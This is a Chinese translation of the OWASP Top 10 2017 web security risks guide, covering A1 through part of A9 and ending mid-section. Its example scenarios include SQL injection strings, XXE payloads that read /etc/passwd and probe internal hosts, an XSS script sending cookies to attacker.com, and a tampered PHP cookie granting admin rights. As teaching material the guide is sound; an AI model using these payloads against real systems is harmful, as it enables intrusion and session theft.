pdf原文地址:http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf

?

1、前言

不安全的軟件正在破壞著我們的金融、醫療、國防、能源和其他重要的基礎設施。隨著我們的軟件變得愈加重要、 復雜且相互關聯，實現應用程序安全的難度也呈指數級增長。而現代軟件開發過程的飛速發展，使得快速、準確地識別 軟件安全風險變得愈發的重要。我們再也不能忽視像《OWASP Top 10》中所列出的相對簡單的安全問題。
在2017年版《OWASP Top 10》文檔的編制過程中，我們收到了大量的反饋意見，對處理反饋意見所投入的努力遠 大于在編制該文檔時付出的努力。這顯現出了大家對“OWASP Top 10”有非常高的熱情，以及為大多數用例設置恰當 的“10大應用程序安全風險”對OWASP是多么的重要。
雖然 “OWASP Top 10”項目的最初目標只是為了提高開發人員和管理人員的安全意識，但它已經成為了實際的應 用安全標準。
在本版本中，我們以可測的方式簡明地編寫問題和建議，使得《OWASP Top 10》能更適用于企業組織的應用安全 計劃。我們鼓勵大型和高效的組織在需要使用真正標準時能使用《OWASP 應用程序安全驗證標準（ASVS）》，但對于 大多數組織而言，《OWASP Top 10》是開啟應用安全旅程的重要開端。
我們已經為《OWASP Top 10》的不同用戶編寫了一系列建議后續步驟，包括適用于CIO和CISO的“開發人員下一 步做什么？”、“安全測試人員下一步做什么？”、“企業組織下一步做什么？”，以及適用于應用程序管理人員或應 用程序生命周期負責人的“應用程序管理者下一步做什么？” 。
從長遠來看，我們鼓勵所有的軟件開發團隊和組織機構創建一個與您團隊或組織文化和技術都兼容的應用安全計劃。 這些計劃可以是任意形式和規模。您應該利用您企業組織的現有優勢，并根據《應用軟件保障成熟度模型》來衡量和改 進企業組織的應用安全計劃。
我們希望《OWASP Top 10》能對您的應用程序安全有幫助。如果有任何疑問、評論和想法，請不要猶豫，立即通 過GitHub與OWASP取得聯系。
? https://github.com/OWASP/Top10/issues
您可以在以下鏈接找到《OWASP Top 10》及不同語言的翻譯文檔：
? https://www.owasp.org/index.php/top10
最后，我們要感謝 “OWASP Top 10”項目創始領導人Dave Wichers和Jeff Williams付出的辛勤努力，并相信我們 能在大家的幫助下完成這項工作。謝謝！
? Torsten Gigler ? Brian Glas ? Neil Smithline ? Andrew van der Stock
?

2、簡介

本版本的主要變化是添加了組織內最新篩選出的兩類風險：（1）“A8: 2017-不安全的反序列化”；（2）“A10: 2017-不足的日志記錄和監控”。本版本《OWASP Top 10》的兩個關鍵區別是收集了大量社區反饋意見和企業組織數 據，這可能是我們在編制應用安全標準時收集的最大數據量。因此，我們相信新版《OWASP Top 10》代表了當前組織 面臨最具影響力的應用程序安全風險。
2017年版的《OWASP Top 10》主要基于超過 40家專門從事應用程序安全業務的公司提交的數據，以及500位以上 個人完成的行業調查。這些數據包含了從數以百計的組織和超過10萬個實際應用程序和API中收集的漏洞。前10大風險 項是根據這些流行數據選擇和優先排序，并結合了對可利用性、可檢測性和影響程度的一致性評估而形成。
《OWASP Top 10》的首要目的是教導開發人員、設計人員、架構師、管理人員和企業組織，讓他們認識到最嚴重 Web應用程序安全弱點所產生的后果。Top 10提供了防止這些高風險問題發生的基本方法，并為獲得這些方法的提供了指引。

?

3、發布說明

2013版至2017版改變了哪些內容？

在過去四年里，事務變化的節奏加快了步伐，“OWASP Top 10”也需要改變了。本次，我們完全重構了《OWASP Top 10》， 包括：改進了方法論、使用了一個全新的“數據召集”過程、與社區合作、重新排序風險、重新編寫每一項風險，并對現有的常用框 架和語言增加了參考資料。 在過去的幾年中，應用程序的基礎技術和結構發生了重大變化： ? 使用node.js和Spring Boot構建的微服務正在取代傳統的單任務應用，微服務本身具有自己的安全挑戰，包括微服務間互信、容器 工具、保密管理等等。原來沒人期望代碼要實現基于互聯網的訪問，而現在這些代碼就在API或RESTful服務的后面，提供給移動 應用或單頁應用（SPA）的大量使用。代碼構建時的假設，如受信任的調用等等，再也不存在了。 ? 使用JavaScript框架（如：Angular和React）編寫的單頁應用程序，允許創建高度模塊化的前端用戶體驗；原來交付服務器端處理 的功能現在變為由客戶端處理，但也帶來了安全挑戰。 ? JavaScript成為網頁上最基本的語言。Node.js運行在服務器端，采用現代網頁框架的Bootstrap、Electron、Angular和React則運 行在客戶端。
新增加的風險類型（由數據統計支撐） ? A4:2017 XML外部實體（XXE），是一個主要由源代碼分析安全測試工具數據集支撐的新類型。
新增加的風險類型（由社區反饋支撐） 我們要求社區對兩個前瞻的弱點類別進行洞察。在500多個審查意見提交后，刪除了已有數據統計支撐的問題（敏感數據暴露和 XXE）后，這兩個新問題為： ? A8:2017-不安全的反序列化，允許在受影響的平臺上遠程執行代碼或操縱敏感對象。 ? A10:2017-不足的日志記錄和監控，缺乏可以防止或明顯延遲惡意活動和破壞安全檢測、事件響應和數字取證的安全措施。
落榜但仍未忘記的風險類型 ? “A4不安全的直接對象引用”和“A7功能級訪問控制缺失”合并成為“A5:2017 失效的訪問控制”。 ? “A8 CSRF”。因為很多平臺融入了CSRF防御，所以只有5%的應用程序受到了威脅。 ? “A10未驗證的重定向和轉發”。雖然大約8%的應用程序受此威脅，但是現在大多被XML外部實體（XXE）擠掉了。

?

4、應用程序安全風險

什么是應用程序安全風險？

攻擊者可以通過應用程序中許多不同的路徑方法去危害您的業務或者企業組織。每種路徑方法都代表了一種風險， 這些風險可能會，也可能不會嚴重到值得您去關注。

?

有時，這些路徑方法很容易被發現并利用，但有的則非常困難。同樣，所造成的危害有可能無關緊要，也可能導致破產。為了確定您企業的風險，可以結合其產生的技術影響和對企業的業務影響，去評估威脅來源、攻擊向量和安全漏 洞的可能性。總之，這些因素決定了全部的風險。

?

5、OWASP Top 10 應用安全風險–2017

A1:2017-注入: 將不受信任的數據作為命令或查詢的一部分發送到解析器時，會產生諸如SQL注入、NoSQL注入、OS 注入和LDAP注入的注入缺陷。攻擊者的惡意數據可以誘使解析器在沒有適當授權的情況下執行非預 期命令或訪問數據

A2:2017-失效的身 份認證： 通常，通過錯誤使用應用程序的身份認證和會話管理功能，攻擊者能夠破譯密碼、密鑰或會話令牌， 或者利用其它開發缺陷來暫時性或永久性冒充其他用戶的身份。

A3:2017-敏感數據泄露: 許多Web應用程序和API都無法正確保護敏感數據，例如：財務數據、醫療數據和PII數據。攻擊者可 以通過竊取或修改未加密的數據來實施信用卡詐騙、身份盜竊或其他犯罪行為。未加密的敏感數據 容易受到破壞，因此，我們需要對敏感數據加密，這些數據包括：傳輸過程中的數據、存儲的數據 以及瀏覽器的交互數據。

A4:2017-XML 外部 實體（XXE)： 許多較早的或配置錯誤的XML處理器評估了XML文件中的外部實體引用。攻擊者可以利用外部實體竊 取使用URI文件處理器的內部文件和共享文件、監聽內部掃描端口、執行遠程代碼和實施拒絕服務攻攻擊。

A5:2017-失效的訪問控制: 未對通過身份驗證的用戶實施恰當的訪問控制。攻擊者可以利用這些缺陷訪問未經授權的功能或數 據，例如：訪問其他用戶的帳戶、查看敏感文件、修改其他用戶的數據、更改訪問權限等。
A6:2017-安全配置錯誤：安全配置錯誤是最常見的安全問題，這通常是由于不安全的默認配置、不完整的臨時配置、開源云 存儲、錯誤的 HTTP 標頭配置以及包含敏感信息的詳細錯誤信息所造成的。因此，我們不僅需要對所 有的操作系統、框架、庫和應用程序進行安全配置，而且必須及時修補和升級它們。
A7:2017跨站腳本（XSS)： 當應用程序的新網頁中包含不受信任的、未經恰當驗證或轉義的數據時，或者使用可以創建 HTML或 JavaScript 的瀏覽器 API 更新現有的網頁時，就會出現 XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器 中執行腳本，并劫持用戶會話、破壞網站或將用戶重定向到惡意站點。
A8:2017-不安全的 反序列化: 不安全的反序列化會導致遠程代碼執行。即使反序列化缺陷不會導致遠程代碼執行，攻擊者也可以 利用它們來執行攻擊，包括：重播攻擊、注入攻擊和特權升級攻擊。
A9:2017-使用含有 已知漏洞的組件： 組件（例如：庫、框架和其他軟件模塊）擁有和應用程序相同的權限。如果應用程序中含有已知漏 洞的組件被攻擊者利用，可能會造成嚴重的數據丟失或服務器接管。同時，使用含有已知漏洞的組 件的應用程序和API可能會破壞應用程序防御、造成各種攻擊并產生嚴重影響。
A10:2017不足的日志記錄和 監控:? 不足的日志記錄和監控，以及事件響應缺失或無效的集成，使攻擊者能夠進一步攻擊系統、保持持 續性或轉向更多系統，以及篡改、提取或銷毀數據。大多數缺陷研究顯示，缺陷被檢測出的時間超 過200天，且通常通過外部檢測方檢測，而不是通過內部流程或監控檢測。

?

A1:注入

應用程序脆弱嗎？
當您的應用在如下時點時，是脆弱的并易受到攻擊：
? 用戶提供的數據沒有經過應用程序的驗證、過濾或凈化。 ? 動態查詢語句或非參數化的調用，在沒有上下文感知轉義的情況下被用于解釋器。在ORM搜索參數中使用了惡意數據，這樣搜索就獲得包含敏感 或未授權的數據。 ? 惡意數據直接被使用或連接，諸如SQL語句或命令在動態查詢語 句、命令或存儲過程中包含結構和惡意數據。
一些常見的注入，包括：SQL、OS命令、ORM、LDAP和表達式 語言（EL）或OGNL注入。所有解釋器的概念都是相同的。代碼 評審是最有效的檢測應用程序的注入風險的辦法之一，緊隨其后 的是對所有參數、字段、頭、cookie、JSON和XML數據輸入的徹 底的DAST掃描。組織可以將SAST和DAST工具添加到CI/CD過程 中，以便于在生產部署之前對現有或新檢查的代碼進行注入問題 的預警。

如何防止？

防止注入漏洞需要將數據與命令語句、查詢語句分隔開來。 ? 最佳選擇是使用安全的API，完全避免使用解釋器，或提供參數 化界面的接口，或遷移到ORM或實體框架。 ? 注意：當參數化時，存儲過程仍然可以引入SQL注入，如果 PL/SQL或T-SQL將查詢和數據連接在一起，或者執行帶有立即 執行或exec()的惡意數據。 ? 使用正確的或“白名單”的具有恰當規范化的輸入驗證方法同樣 會有助于防止注入攻擊，但這不是一個完整的防御，因為許多應 用程序在輸入中需要特殊字符，例如文本區域或移動應用程序的 API。 ? 對于任何剩余的動態查詢，可以使用該解釋器的特定轉義語法轉 義特殊字符。OWASP的Java Encoder和類似的庫提供了這樣的 轉義例程。 ? 注意：SQL結構，比如：表名、列名等無法轉義，因此用戶提供 的結構名是非常危險的。這是編寫軟件中的一個常見問題。 ? 在查詢中使用LIMIT和其他SQL控件，以防止在SQL注入時大量 地泄露記錄。

攻擊案例場景

場景#1：應用程序在下面存在脆弱性的SQL語句的構造中使用不 可信數據： String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'“;
場景#2：同樣的，框架應用的盲目信任，仍然可能導致查詢語句 的漏洞。（例如：Hibernate查詢語言（HQL））： Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" + request.getParameter("id") + "'");
在這兩個案例中，攻擊者在瀏覽器中將“id”參數的值修改成： ’ or’1’=’1。例如： http://example.com/app/accountView?id=' or '1'='1 這樣查詢語句的意義就變成了從accounts表中返回所有的記錄。 更危險的攻擊可能導致數據被篡改甚至是存儲過程被調用。
?

A2:失效的身份認證

應用程序脆弱嗎？

確認用戶的身份、身份驗證和會話管理非常重要，這些措施可用 于將惡意的未經身份驗證的攻擊者與授權用戶進行分離。 如果您的應用程序存在如下問題，那么可能存在身份驗證的脆弱 性： ? 允許憑證填充，這使得攻擊者獲得有效用戶名和密碼的列表。 ? 允許暴力破解或其他自動攻擊。 ? 允許默認的、弱的或眾所周知的密碼，例如“Password1”或 “admin/admin”。 ? 使用弱的或失效的驗證憑證，忘記密碼程序，例如“基于知識的 答案”，這是不安全的。 ? 使用明文、加密或弱散列密碼（參見：A3:2017-敏感數據泄露）。 ? 缺少或失效的多因素身份驗證。 ? 暴露URL中的會話ID（例如URL重寫）。 ? 在成功登錄后不會更新會話ID。 ? 不正確地使會話ID失效。當用戶不活躍的時候，用戶會話或認證 令牌（特別是單點登錄（SSO）令牌）沒有正確注銷或失效。

?

如何防止？

?在可能的情況下，實現多因素身份驗證，以防止自動、憑證填充、 暴力破解和被盜憑據再利用攻擊。 ? 不要使用發送或部署默認的憑證，特別是管理員用戶。 ? 執行弱密碼檢查，例如測試新或變更的密碼，以糾正“排名前 10000個弱密碼” 列表。 ? 將密碼長度、復雜性和循環策略與NIST-800-63 B的指導方針的 5.1.1章節-記住秘密，或其他現代的基于證據的密碼策略相一致。 ? 確認注冊、憑據恢復和API路徑，通過對所有輸出結果使用相同 的消息，用以抵御賬戶枚舉攻擊。 ? 限制或逐漸延遲失敗的登錄嘗試。記錄所有失敗信息并在憑據填 充、暴力破解或其他攻擊被檢測時提醒管理員。 ? 使用服務器端安全的內置會話管理器，在登錄后生成高度復雜的 新隨機會話ID。會話ID不能在URL中，可以安全地存儲和當登出、 閑置、絕對超時后使其失效。
?

攻擊案例場景

場景#1：憑證填充，使用已知密碼的列表，是常見的攻擊。如果 應用程序不限制身份驗證嘗試，則可以將應用程序用作密碼oracle， 以確定憑證是否有效。
場景#2：大多數身份驗證攻擊都是由于使用密碼作為唯一的因素。 依據最佳實踐，最新的密碼輪換和復雜性要求鼓勵用戶使用、重 用以及重用弱密碼。建議組織在NIST-800-63中停止這些實踐，并 使用多因素身份驗證。
場景#3：應用會話超時設置不正確。用戶使用公共計算機訪問應 用程序。用戶直接關閉瀏覽器選項卡就離開，而不是選擇“注 銷”。攻擊者一小時后使用同一個瀏覽器瀏覽網頁，而當前用戶 狀態仍然是經過身份驗證的

?

A3:敏感數據泄露

應用程序脆弱嗎?

首先你需要確認的是哪些數據是敏感數據（包含：傳輸過程中的 數據、存儲數據）而需要被加密。例如：密碼、信用卡卡號、醫 療記錄、個人信息應該被加密，特別是隱私法律或條例中規定需 要加密的數據，如：歐盟《通用數據保護條例》（GDPR）、 屬于 “金融數據保護條例”的《支付卡行業數據安全標準》（PIC DSS）。對于這些數據，要確定： ? 在數據傳輸過程中是否使用明文傳輸？這和傳輸協議相關，如： HTTP、SMTP和FTP。外部網絡流量非常危險。驗證所有的內部通 信，如：負載平衡器、Web服務器或后端系統之間的通信。 ? 當數據被長期存儲時，無論存儲在哪里，它們是否都被加密，包 含備份數據？ ? 無論默認條件還是源代碼中，是否還在使用任何舊的或脆弱的加 密算法？ ? 是否使用默認加密密鑰，生成或重復使用脆弱的加密密鑰，或者 缺少恰當的密鑰管理或密鑰回轉？ ? 是否強制加密敏感數據，例如：用戶代理（如：瀏覽器）指令和 傳輸協議是否被加密？ ? 用戶代理（如：應用程序、郵件客戶端）是否未驗證服務器端證 書的有效性？ 關于在這一領域應該避免的更多問題，請參考： ASVS Crypto (V7)部分，Data Prot (V9)部分和SSL/TLS (V10)部分。

如何防止?

對一些需要加密的敏感數據，應該起碼做到以下幾點：
? 對系統處理、存儲或傳輸的數據分類，并根據分類進行訪問控制。 ? 熟悉與敏感數據保護相關的法律和條例，并根據每項法規要求保 護敏感數據。 對于沒必要存放的、重要的敏感數據，應當盡快清除，或者通過 PCI DSS標記或攔截。未存儲的數據不能被竊取。 ? 確保存儲的所有敏感數據被加密。 ? 確保使用了最新的、強大的標準算法或密碼、參數、協議和密匙， 并且密鑰管理到位。 ? 確保傳輸過程中的數據被加密，如：使用TLS。確保數據加密被 強制執行，如：使用HTTP嚴格安全傳輸協議（HSTS ）。 ? 禁止緩存對包含敏感數據的響應。 ? 確保使用密碼專用算法存儲密碼，如：Argon2 、 scrypt 、 bcrypt 或者PBKDF2 。將工作因素（延遲因素）設置在可接受 范圍。 ? 單獨驗證每個安全配置項的有效性。
?

攻擊案例場景

場景 #1：一個應用程序使用自動化的數據加密系統加密信用卡信 息，并存儲在數據庫中。但是，當數據被檢索時被自動解密，這 就使得SQL注入漏洞能夠以明文形式獲得所有信用卡卡號。
場景 #2：一個網站上對所有網頁沒有使用或強制使用TLS，或者使 用弱加密。攻擊者通過監測網絡流量（如：不安全的無線網絡）， 將網絡連接從HTTPS降級到HTTP，就可以截取請求并竊取用戶會話 cookie。之后，攻擊者可以復制用戶cookie并成功劫持經過認證 的用戶會話、訪問或修改用戶個人信息。除此之外，攻擊者還可 以更改所有傳輸過程中的數據，例如：轉款的接接收者。
場景 #3：密碼數據庫使用未加鹽的哈希算法或弱哈希算法去存儲 每個人的密碼。一個文件上傳漏洞使黑客能夠獲取密碼文件。所 有這些未加鹽哈希的密碼通過彩虹表暴力破解方式破解。 由簡單 或快速散列函數生成加鹽的哈希，也可以通過GPU破解。

?

A4:XML 外部實體（XXE）

?

應用程序脆弱嗎?

應用程序和特別是基于XML的Web服務或向下集成，可能在以下 方面容易受到攻擊： ? 您的應用程序直接接受XML文件或者接受XML文件上傳，特別是 來自不受信任源的文件，或者將不受信任的數據插入XML文件， 并提交給XML處理器解析。 ? 在應用程序或基于Web服務的SOAP中，所有XML處理器都啟用 了文檔類型定義（DTDs）。因為禁用DTD進程的確切機制因處 理器而不同，更多資料請參考：《OWASP Cheat Sheet ‘XXE Prevention‘ 》。 ? 如果為了實現安全性或單點登錄（SSO），您的應用程序使用 SAML進行身份認證。而SAML使用XML進行身份確認，那么您 的應用程序就容易受到XXE攻擊。 ? 如果您的應用程序使用第1.2版之前的SOAP，并將XML實體傳 遞到SOAP框架，那么它可能受到XXE攻擊。 ? 存在XXE缺陷的應用程序更容易受到拒絕服務攻擊，包括： Billion Laughs 攻擊。

?

如何防止?

開發人員培訓是識別和減少XXE缺陷的關鍵，此外，防止XXE 缺 陷還需要：
? 盡可能使用簡單的數據格式（如：JSON），避免對敏感數據進 行序列化。 ? 及時修復或更新應用程序或底層操作系統使用的所有XML處理器 和庫。同時，通過依賴項檢測，將SOAP更新到1.2版本或更高 版本。 ? 參考《 OWASP Cheat Sheet ‘XXE Prevention‘ 》，在應用程序 的所有XML解析器中禁用XML外部實體和DTD進程。 ? 在服務器端實施積極的（“白名單”）輸入驗證、過濾和清理， 以防止在XML文檔、標題或節點中出現惡意數據。 ? 驗證XML或XSL文件上傳功能是否使用XSD驗證或其他類似驗證 方法來驗證上傳的XML文件。 ? 盡管在許多集成環境中，手動代碼審查是大型、復雜應用程序的 最佳選擇，但是SAST 工具可以檢測源代碼中的XXE漏洞。
如果無法實現這些控制，請考慮使用虛擬修復程序、API安全網關 或Web應用程序防火墻（ WAF ）來檢測、監控和防止XXE攻 擊。
?

攻擊案例場景

大量XXE缺陷已經被發現并被公開，這些缺陷包括嵌入式設備的 XXE缺陷。 XXE缺陷存在于許多意想不到的地方，這些地方包括 深嵌套的依賴項。最簡單的方法是上傳可被接受的惡意XML文件：
場景 #1：攻擊者嘗試從服務端提取數據： <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
場景 #2：攻擊者通過將上面的實體行更改為以下內容來探測服務 器的專用網絡： <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
場景 #3：攻擊者通過惡意文件執行拒絕服務攻擊： <!ENTITY xxe SYSTEM "file:///dev/random" >]>
?

A5：失效的訪問控制

應用程序脆弱嗎？

訪問控制強制實施策略，使用戶無法在其預期的權限之外執行行 為。失敗的訪問控制通常導致未經授權的信息泄露、修改或銷毀 所有數據、或在用戶權限之外執行業務功能。常見的訪問控制脆 弱點包括：
? 通過修改 URL、內部應用程序狀態或 HTML 頁面繞過訪問控制 檢查，或簡單地使用自定義的 API 攻擊工具。 ? 允許將主鍵更改為其他用戶的記錄，例如查看或編輯他人的帳戶。 ? 特權提升。在不登錄的情況下假扮用戶，或以用戶身份登錄時充 當管理員。 ? 元數據操作，如重放或篡改 JWT 訪問控制令牌，或作以提升權 限的cookie 或隱藏字段。 ? CORS配置錯誤允許未授權的API訪問。 ? 以未通過身份驗證的用戶身份強制瀏覽的通過身份驗證時才能看 到的頁面、或作為標準用戶訪問具有相關權限的頁面、或API沒 有對POST、PUT和DELETE強制執行訪問控制。

如何防止？

訪問控制只有在受信服務器端代碼或沒有服務器的 API 中有效，這樣這樣攻擊者才無法修改訪問控制檢查或元數據。除公有資源外，默認情況下拒絕訪問。使用一次性的訪問控制機制，并在整個應用程序中不斷重用它們， 包括最小化CORS使用。 建立訪問控制模型以強制執行所有權記錄，而不是接受用戶創建、 讀取、更新或刪除的任何記錄。 ?域訪問控制對每個應用程序都是唯一的，但業務限制要求應由域模型強制執行。禁用 Web服務器目錄列表，并確保文件元數據（如：git）不存 在于 Web的根目錄中。記錄失敗的訪問控制，并在適當時向管理員告警（如：重復故 障）。對API和控制器的訪問進行速率限制，以最大限度地降低自動化 攻擊工具的危害。當用戶注銷后，服務器上的JWT令牌應失效。
開發人員和 QA人員應包括功能訪問控制單元和集成測試人員。

攻擊案例場景

場景 #1：應用程序在訪問帳戶信息的 SQL調用中使用了未經驗證 的數據： pstmt.setString(1，request.getParameter("acct")); ResultSet results = pstmt.executeQuery( ); 攻擊者只需修改瀏覽器中的“acct”參數即可發送他們想要的任何 帳號信息。如果沒有正確驗證，攻擊者可以訪問任何用戶的帳戶。 http://example.com/app/accountInfo?acct=notmyacct
場景 #2：攻擊者僅強制瀏覽目標URL。管理員權限是訪問管理頁 面所必需的。 http://example.com/app/getappInfo http://example.com/app/admin_getappInfo 如果一個未經身份驗證的用戶可以訪問任何頁面，那么這是一個 缺陷。如果一個非管理員權限的用戶可以訪問管理頁面，那么這 同樣也是一個缺陷。
?

A6:安全配置錯誤

?

應用程序脆弱嗎？

您的應用程序可能受到攻擊，如果應用程序是：
? 應用程序棧堆的任何部分都缺少適當的安全加固，或者云服務的 權限配置錯誤。 ? 應用程序啟用或安裝了不必要的功能（例如：不必要的端口、服 務、網頁、帳戶或權限）。 ? 默認帳戶的密碼仍然可用且沒有更改。 ? 錯誤處理機制向用戶披露堆棧跟蹤或其他大量錯誤信息。 ? 對于更新的系統，禁用或不安全地配置最新的安全功能。 ? 應用程序服務器、應用程序框架（如：Struts、Spring、 ASP.NET）、庫文件、數據庫等沒有進行安全配置。 ? 服務器不發送安全標頭或指令，或者未對服務器進行安全配置。 ? 您的應用軟件已過期或易受攻擊（參見A9：2017-使用含有已知 漏洞的組件）。
缺少一個體系的、可重復的應用程序安全配置過程，系統將處于高風險中。
?

如何防止?

應實施安全的安裝過程，包括：
? 一個可以快速且易于部署在另一個鎖定環境的可重復的加固過程。 開發、質量保證和生產環境都應該進行相同配置，并且，在每個 環境中使用不同的密碼。這個過程應該是自動化的，以盡量減少 安裝一個新安全環境的耗費。
? 搭建最小化平臺，該平臺不包含任何不必要的功能、組件、文檔 和示例。移除或不安裝不適用的功能和框架。
? 檢查和修復安全配置項來適應最新的安全說明、更新和補丁，并 將其作為更新管理過程的一部分，（參見A9：2017-使用含有已 知漏洞的組件）。在檢查過程中，應特別注意云存儲權限（如： S3桶權限）。 ? 一個能在組件和用戶間提供有效的分離和安全性的分段應用程 序架構，包括：分段、容器化和云安全組。 ? 向客戶端發送安全指令，如：安全標頭。 ? 在所有環境中能夠進行正確安全配置和設置的自動化過程。
?

攻擊案例場景

場景#1：應用程序服務器附帶了未從產品服務器中刪除的應用程 序樣例。這些樣例應用程序具有已知的安全漏洞，攻擊者利用這 些漏洞來攻擊服務器。如果其中一個應用程序是管理員控制臺， 并且沒有更改默認賬戶，攻擊者就可以通過默認密碼登錄，從而 接管服務器。 場景#2：目錄列表在服務器端未被禁用。攻擊者發現他們很容易 就能列出目錄列表。攻擊者找到并下載所有已編譯的Java類，他 們通過反編譯來查看代碼。然后，攻擊者在應用程序中找到一個 嚴重的訪問控制漏洞。 場景#3：應用服務器配置允許將詳細的錯誤信（如：堆棧跟蹤信 息）返回給用戶，這可能會暴露敏感信息或潛在的漏洞，如：已 知含有漏洞的組件的版本信息。 場景#4：云服務向其他CSP用戶提供默認的網絡共享權限。這允許攻擊者訪問存儲在云端的敏感數據。

?

A7:存儲XSS

應用程序脆弱嗎?

存在三種XSS類型，通常針對用戶的瀏覽器： 反射式XSS：應用程序或API包括未經驗證和未經轉義的用戶輸入， 作為HTML輸出的一部分。一個成功的攻擊可以讓攻擊者在受害者 的瀏覽器中執行任意的HTML和JavaScript。 通常，用戶將需要與指 向攻擊者控制頁面的某些惡意鏈接進行交互，例如惡意漏洞網站， 廣告或類似內容。
存儲式XSS：你的應用或者API將未凈化的用戶輸入存儲下來了， 并在后期在其他用戶或者管理員的頁面展示出來。 存儲型XSS一 般被認為是高危或嚴重的風險。
基于DOM的XSS：會動態的將攻擊者可控的內容加入頁面的 JavaScript框架、單頁面程序或API存在這種類型的漏洞。理想的 來說，你應該避免將攻擊者可控的數據發送給不安全的JavaScript API。
典型的XSS攻擊可導致盜取session、賬戶、繞過MFA、DIV替換、 對用戶瀏覽器的攻擊（例如：惡意軟件下載、鍵盤記錄）以及其 他用戶側的攻擊。
?

如何防止？

防止XSS需要將不可信數據與動態的瀏覽器內容區分開。這可以 通過如下步驟實現：
? 使用設計上就會自動編碼來解決XSS問題的框架，如：Ruby 3.0 或 React JS。了解每個框架的XSS保護的局限性，并適當地處 理未覆蓋的用例。 ? 為了避免反射式或存儲式的XSS漏洞，最好的辦法是根據HTML 輸出的上下文（包括：主體、屬性、JavaScript、CSS或URL） 對所有不可信的HTTP請求數據進行恰當的轉義 。更多關于數據 轉義技術的信息見：《OWASP Cheat Sheet ‘XSS Prevention’》 。 ? 在客戶端修改瀏覽器文檔時，為了避免DOM XSS攻擊，最好的 選擇是實施上下文敏感數據編碼。如果這種情況不能避免，可以 采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》 描述的類似上下文敏感的轉義技術應用于瀏覽器API。 ? 使用內容安全策略（CSP）是對抗XSS的深度防御策略。如果 不存在可以通過本地文件放置惡意代碼的其他漏洞（例如：路徑 遍歷覆蓋和允許在網絡中傳輸的易受攻擊的庫），則該策略是有效的。

攻擊案例場景

場景#1：應用程序在下面HTML代碼段的構造中使用未經驗證或轉 義的不可信的數據：
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“)+ "'>";
攻擊者在瀏覽器中修改“CC” 參數為如下值：
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.
這個攻擊導致受害者的會話ID被發送到攻擊者的網站，使得攻擊 者能夠劫持用戶當前會話。
注意：攻擊者同樣能使用跨站腳本攻破應用程序可能使用的任何 跨站請求偽造（CSRF）防御機制。CSRF的詳細情況見2013年版中 的A8項。

?A8: 不安全的反序列化

?

應用程序脆弱嗎？

如果反序列化進攻者提供的敵意或者篡改過的對象將會使將應用 程序和API變的脆弱。
這可能導致兩種主要類型的攻擊： ? 如果應用中存在可以在反序列化過程中或者之后被改變行為的類， 則攻擊者可以通過改變應用邏輯或者實現遠程代碼執行攻擊。我 們將其稱為對象和數據結構攻擊。 ? 典型的數據篡改攻擊，如訪問控制相關的攻擊，其中使用了現有 的數據結構，但內容發生了變化。
在應用程序中，序列化可能被用于: 遠程和進程間通信（RPC / IPC） ? 連線協議、Web服務、消息代理 ? 緩存/持久性 ? 數據庫、緩存服務器、文件系統 ? HTTP cookie、HTML表單參數、API身份驗證令牌.

?

如何防止？

唯一安全的架構模式是不接受來自不受信源的序列化對象，或使 用只允許原始數據類型的序列化媒體。
如果上述不可能的話，考慮使用下述方法： ? 執行完整性檢查，如：任何序列化對象的數字簽名，以防止惡 意對象創建或數據篡改。 ? 在創建對象之前強制執行嚴格的類型約束，因為代碼通常被期 望成一組可定義的類。繞過這種技術的方法已經被證明，所以 完全依賴于它是不可取的。 ? 如果可能，隔離運行那些在低特權環境中反序列化的代碼。 ? 記錄反序列化的例外情況和失敗信息，如：傳入的類型不是預 期的類型，或者反序列處理引發的例外情況。 ? 限制或監視來自于容器或服務器傳入和傳出的反序列化網絡連 接。 ? 監控反序列化，當用戶持續進行反序列化時，對用戶進行警告.

攻擊案例場景

場景 #1：一個React應用程序調用了一組Spring Boot微服務。作 為功能性程序員，他們試圖確保他們的代碼是不可變的。他們提 出的解決方法是序列化用戶狀態，并在每次請求時來回傳遞。攻 擊者注意到了“R00”Java對象簽名，并使用Java Serial Killer工 具在應用服務器上獲得遠程代碼執行。
場景 #2：一個PHP論壇使用PHP對象序列化來保存一個“超 級”cookie。該cookie包含了用戶的用戶ID、角色、密碼哈希和其 他狀態： a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} 攻擊者更改序列化對象以授予自己為admin權限： a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

?

A9：使用含有已知漏洞的組件

應用程序脆弱嗎?
如果滿足下面的某個條件，那么你的應用就易受此類攻擊：
? 如果你不知道所有使用的組件版本信息（包括：服務端和客戶 端）。這包括了直接使用的組件或其依賴的組件。 ? 如果軟件易受攻擊，不再支持或者過時。這包括：OS、Web服 務器、應用程序服務器、數據庫管理系統（DBMS）、應用程序、 API和所有的組件、運行環境和庫。 ? 如果你不會定期做漏洞掃描和訂閱你使用組件的安全公告。 ? 如果你不基于風險并及時修復或升級底層平臺、框架和依賴庫。 很可能發生這種情況：根據變更控制，每月或每季度進行升級， 這使得組織在這段時間內會受到已修復但未修補的漏洞的威脅。 ? 如果軟件工程師沒有對更新的、升級的或打過補丁的組件進行兼 容性測試。 ? 如果你沒有對組件進行安全配置（請參考“A6:2017-安全配置錯 誤”）。

?

如何防止?

應該制定一個補丁管理流程：
